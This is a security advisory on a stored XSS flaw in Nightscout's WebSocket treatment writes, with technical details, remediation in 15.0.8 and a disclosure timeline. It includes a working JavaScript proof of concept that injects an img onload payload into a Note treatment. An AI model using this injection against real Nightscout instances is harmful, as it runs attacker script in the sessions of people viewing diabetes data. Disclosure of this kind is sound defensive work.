Security disclosure / SuperCode Studios

Stored XSS through WebSocket treatment writes in Nightscout (cgm-remote-monitor) version ≤ 15.0.7

Authenticated Nightscout users with treatment-write access could store unsanitised HTML through WebSocket writes, resulting in stored cross-site scripting when another user viewed the affected treatment.

Identifier GHSA-5mrq-gpqw-q5v5 (CVE pending)

About the product

Nightscout is a web-based glucose monitoring system used to share and review diabetes data.

Summary

An authenticated Nightscout user with the api:treatments:write, api:treatments:create, and api:treatments:delete scopes could store unsanitised HTML through the main Socket.IO connection. When another user hovered over the affected treatment, Nightscout inserted the stored value with .html(), allowing attacker-controlled JavaScript to execute in the viewer's Nightscout origin.

The attacker must already have legitimate treatment-write access. This issue does not bypass authentication or steal a session; it causes a viewer's browser to process attacker-controlled markup in an authenticated origin.

Identifier status

The related GitHub Security Advisory is GHSA-5mrq-gpqw-q5v5. MITRE candidate identifier CAN-2026-2037082 is also associated with this issue; a standard CVE-... identifier has not yet been assigned.

Affected versions

All versions between 0.8.1 and 15.0.7 are affected.

Proof of concept

Run this only against a disposable Nightscout instance that you own or are authorised to test. The vulnerable WebSocket operation requires an authenticated client with all three of these scopes: api:treatments:write, api:treatments:create, and api:treatments:delete. Although create normally implies write and delete, this path checks each scope explicitly. The delete permission is therefore an exploitation prerequisite, not merely a cleanup convenience.

(() => {
  const c = window.Nightscout?.client;
  if (!c?.socket?.connected) throw new Error("Nightscout connection unavailable.");

  // Step 1: Re-authorize the existing socket
  c.socket.emit("authorize", { 
    client: "web", 
    secret: c.authorized?.token ? null : c.hashauth.hash(), 
    token: c.authorized?.token 
  }, console.log);

  // Step 2: Inject the proof-of-concept payload
  const marker = `NS-XSS-POC-${Date.now()}`;
  const payload = `<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==" onload="document.title='${marker}'">`;

  c.socket.emit("dbAdd", { 
    collection: "treatments", 
    data: { 
      eventType: "Note", 
      created_at: new Date(Date.now() - 300000).toISOString(), 
      duration: 10, 
      enteredBy: "PoC", 
      notes: payload 
    } 
  }, (res) => {
    const id = res?.[0]?._id;
    if (!id) return console.error("Failed:", res);
    
    localStorage.setItem("nsXssPocId", id);
    console.log("Created PoC:", { id, marker });
    location.reload();
  });
})();

The script creates a Note treatment containing an image whose onload handler changes the document title. That title marker is the expected observation; this PoC does not exfiltrate data or perform privileged actions.

Remove the created treatment after testing using the stored ID in localStorage.nsXssPocId.

Technical details

  • REST treatment creation sanitises objects in lib/api/treatments/index.js before persistence.
  • The WebSocket dbAdd and update handlers in lib/server/websocket.js persisted treatment objects without applying the same purifier.
  • Treatment tooltip rendering in lib/client/renderer.js inserted notes and enteredBy into HTML with .html().
  • Related report rendering paths also consumed stored treatment values as HTML.

The resulting path was: authenticated treatment write, unsanitised value persisted, treatment displayed to another user, and JavaScript executed in that viewer's Nightscout origin.

Impact

Successful exploitation executes attacker-controlled JavaScript with the permissions of the user viewing the treatment. If that viewer has additional Nightscout permissions, the script may be able to invoke actions available to that session.

Consequences involving connected automated-insulin-delivery systems depend on the deployment, enabled integrations, and the victim's permissions. This proof of concept does not establish remote insulin delivery or guaranteed administrative command execution.

Remediation

Nightscout 15.0.8 applies sanitisation consistently across API and WebSocket write paths and adds output encoding or safe text rendering for stored values. Users should upgrade to 15.0.8 or later.

Credit

Discovered and reported by Ruben Sutton of SC Studios.

References

Disclosure timeline

  1. Vulnerability reported

    Initial report sent to the Nightscout maintainers.

  2. Remediation work opened

    The maintainers opened pull request

  3. Fix merged

    The remediation was merged into the project.

  4. Fix released

    Nightscout 15.0.8 became available.

  5. Publication request

    The maintainers were asked to publish the GitHub security advisory.

  6. Publication notice sent

    The maintainers were notified of the intent to publish this disclosure.